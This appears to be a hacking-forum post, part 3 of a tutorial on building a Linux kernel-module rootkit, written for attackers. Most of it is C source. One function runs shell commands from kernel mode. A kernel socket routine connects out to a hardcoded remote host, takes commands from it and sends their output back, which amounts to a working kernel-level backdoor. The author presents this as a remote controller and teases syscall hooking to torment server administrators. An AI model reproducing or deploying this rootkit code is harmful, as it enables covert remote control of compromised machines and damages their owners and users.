[Tutorial] ]Writing Linux lkm rootkit(multi functions) #3
by - Thursday, January 1, 1970 at 12:00 AM
Hello world, in last thread, I made a mess, really sorry about that.
Threads before:
https://breached.to/Thread-Tutorial-Writing-Linux-lkm-rootkit-multi-functions-1
https://breached.to/Thread-Tutorial-Writing-Linux-lkm-rootkit-multi-functions-2

Linux Kernel Module Rootkit Tutorial Part3
What can you learn from this thread?
1. How to execute command with rootkit
2. Hoe to socket in kernel mode

Cover The shortages:
In last thread, I mentioned a method to execute commands in kernel mode, But I didn't explain it well, here is the code: 
static char* execcmd(char cmd[1024]) {
    int result;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    static char buf[4096];
    char add[] = " > /tmp/result.txt";
    char cmd_path[] = "bin/sh";
    strcat(cmd,add);
    char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
    char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
    result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
    fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);

    memset(buf,0,sizeof(buf));
    fs = get_fs();
    set_fs(KERNEL_DS);
    pos = 0;
    vfs_read(fp,buf,sizeof(buf),&pos);
    printk(KERN_INFO "shell result length %ld:
",strlen(buf));
    printk("%s
",buf);
    filp_close(fp,NULL);
    set_fs(fs);
    return buf;
}


I think you guys can understand at least 80~90% of the code, only one thing is important: call_usermodehelper(), let's see the function prototype:
call_usermodehelper(char *path, char **argv, char **envp, enum umh_wait wait);
enum umh_wait {
    UMH_NO_WAIT = -1,       /* don't wait at all */
    UMH_WAIT_EXEC = 0,      /* wait for the exec, but not the process */
    UMH_WAIT_PROC = 1,      /* wait for the process to complete */
};

I think the prototype described the usage well.

Kernel Mode Socket Communication
Actually, kernel mode socket is really similar to user mode one. The only difference is the API name.
1. Use sock_create_kern() to create a socket
2. Call sock->ops->connect() to connect
3. Use kern_sendmsg() to send message and kern_recvmsg() to receive message.
4. Use kernel_sock_shutdown() to shutdown the connection
5. Use sock_release() to release

Talk is easy, show me the code!!!
static int rootkitServ(void *data){

    struct socket *sock,*client_sock;
    struct sockaddr_in s_addr;
    unsigned short portnum=8888;
    int ret=0;
    char recvbuf[1024];
    char sendbuf[4096];
    char *result;
    struct msghdr recvmsg,sendmsg;
    struct kvec send_vec,recv_vec;

    if(sendbuf == NULL) {
        printk(KERN_INFO "[Sock]: sendbuf kmalloc failed!
");
        return -1;
    }

    if(recvbuf == NULL) {
        printk(KERN_INFO "[Sock]: recvbuf kmalloc failed!
");
        return -1;
    }

    memset(&s_addr,0,sizeof(s_addr));
    s_addr.sin_family=AF_INET;
    s_addr.sin_port=htons(portnum);
    s_addr.sin_addr.s_addr=in_aton("192.168.3.116");


    sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
    client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);

        /*create a socket*/
    ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);
    if(ret < 0){
        printk("[Sock]:socket_create_kern error!
");
        return -1;
    }
    printk("[Sock]:socket_create_kern ok!
");

        /*connect the socket*/
    ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);
    printk(KERN_INFO "[Sock]: connect ret = %d
",ret);
    /*
        if(ret != 0){
                printk("[SockTest]: connect error
");
                return ret;
        }
    */
        printk("[Sock]:connect ok!
");

    memset(sendbuf,0,1024);

    strcpy(sendbuf,"test");

    memset(&sendmsg,0,sizeof(sendmsg));
    memset(&send_vec,0,sizeof(send_vec));

    send_vec.iov_base = sendbuf;
    send_vec.iov_len = 4096;  

        /*send*/
    ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);
    printk(KERN_INFO "[Sock]: kernel_sendmsg ret = %d
",ret);
    if(ret < 0) {
        printk(KERN_INFO "[Sock]: kernel_sendmsg failed!
");
        return ret;
    }
    printk(KERN_INFO "[Sock]: send ok!
");
    memset(&recv_vec,0,sizeof(recv_vec));
    memset(&recvmsg,0,sizeof(recvmsg));

    recv_vec.iov_base = recvbuf;
    recv_vec.iov_len = 1024;

        /*kmalloc a receive buffer*/
    while(true) {
        memset(recvbuf, 0, 1024);

        ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);
        printk(KERN_INFO "[Sock]: received message: %s
",recvbuf);
        if(!strcmp("exit",recvbuf)) {
            break;
        }
        printk(KERN_INFO "[Sock]: %ld
",strlen(recvbuf));
        result = execcmd(recvbuf);
        memset(sendbuf,0,4096);
        strncpy(sendbuf,result,4096);
        ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));
    }

    kernel_sock_shutdown(sock,SHUT_RDWR);
    sock_release(sock);
    printk(KERN_INFO "[Sock]: socket exit
");

    return 0;
}

These few line of code will send something to remote host and receive something from remote. Cooperate with the command execution part in last thread, it will become a basic remote controller.
If you have ever wrote some socket code in C, you can understand how this work, it basically just replace user mode socket functions into kernel mode functions.

In the next tutorial, I will tell you the really fun part of lkm rootkit -- syscall hooking, through that thing,   you  can do whatever you want to the system and drive server admins to crazy~


Well, I'm curious about how to set it to be visible only after reply...
Reply


 Users viewing this thread: [Tutorial] ]Writing Linux lkm rootkit(multi functions) #3: No users currently viewing.